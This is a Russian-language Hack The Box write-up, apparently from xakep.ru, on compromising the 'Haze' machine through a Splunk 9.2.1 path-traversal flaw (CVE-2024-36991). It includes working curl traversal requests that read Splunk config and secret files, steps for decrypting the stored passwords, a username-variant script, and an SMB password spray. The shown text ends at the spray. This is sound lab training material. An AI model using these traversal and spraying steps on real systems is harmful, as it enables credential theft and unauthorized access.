HTB Haze. Атакуем мониторинг Splunk, чтобы захватить сервер на Windows

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий
  • System

Се­год­ня мы про­экс­плу­ати­руем уяз­вимость в монито­рин­говой сис­теме Splunk, что­бы получить учет­ные дан­ные. Затем для ком­про­мета­ции нес­коль­ких учет­ных записей про­экс­плу­ати­руем раз­решения, а для повыше­ния при­виле­гий ском­про­мети­руем админ­скую учет­ку Splunk и добавим свой модуль для уста­нов­ления при­виле­гиро­ван­ной сес­сии.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Haze с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — слож­ный.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.61 haze.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел 14 откры­тых пор­тов:

  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • пор­ты 8000, 8088, 8089 — сис­тема Splunk.

Нач­нем, конеч­но же, с прос­мотра Splunk.

Стра­ница авто­риза­ции Splunk

Стра­ница сер­виса Splunkd 

Точка входа

На вто­ром сай­те нам откры­вает­ся вер­сия Splunk — 9.2.1. Сра­зу сто­ит про­верить, есть ли для нее готовые экс­пло­иты. Пер­вым делом прос­то ищем в Google.

По­иск экс­пло­итов в Google

И находим пост в бло­ге SonicWall, где под­робно раз­бира­ется уяз­вимость CVE-2024-36991. Она поз­воля­ет обхо­дить пути с эндпо­инта /modules/messaging/ и читать про­изволь­ные фай­лы. По номеру CVE находим и рабочий PoC на GitHub. Он поз­воля­ет получать учет­ные дан­ные из базы дан­ных.

python3 CVE-2024-36991.py -u http://10.10.11.61:8000

Про­вер­ка уяз­вимос­ти 

Точка опоры

У нас есть воз­можность читать фай­лы, поэто­му при­кинем, что может быть инте­рес­ного. Я не стал замора­чивать­ся и спро­сил у ChatGPT, какие кон­фиги Splunk могут ока­зать­ся полез­ны, а так­же что в них содер­жится.

Ин­терес­ные фай­лы Splunk

В фай­ле server.conf находим зашиф­рован­ные тех­ничес­кие пароли, а в authentication.conf есть домен­ные учет­ные дан­ные поль­зовате­ля Paul Taylor для свя­зи с LDAP.

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'

Со­дер­жимое фай­ла server.confcurl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'

Со­дер­жимое фай­ла authentication.conf

Что­бы рас­шифро­вать пароли, нам нужен ключ из фай­ла auth/splunk.secret.

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'

Со­дер­жимое фай­ла splunk.secret

Ког­да у нас есть ключ, мы можем исполь­зовать скрипт splunksecrets для рас­шифро­выва­ния паролей. При запус­ке ука­зыва­ем файл splunk.secret, пос­ле чего вво­дим зашиф­рован­ные дан­ные и получа­ем пароль в откры­том виде.

pip install splunksecrets splunksecrets splunk-decrypt -S splunk.secret

Рас­шифро­выва­ние пароля

У нас есть пароль, но нет логина. По име­ни поль­зовате­ля мож­но сос­тавить спи­сок всех воз­можных вари­антов учет­ной записи. Для это­го исполь­зуем сле­дующий скрипт.

names = ["Paul Taylor"]list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)

За­тем переби­раем логины с помощью NetExec и получа­ем учет­ную запись в нуж­ном фор­мате.

nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

Ре­зуль­тат под­бора учет­ных дан­ных

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *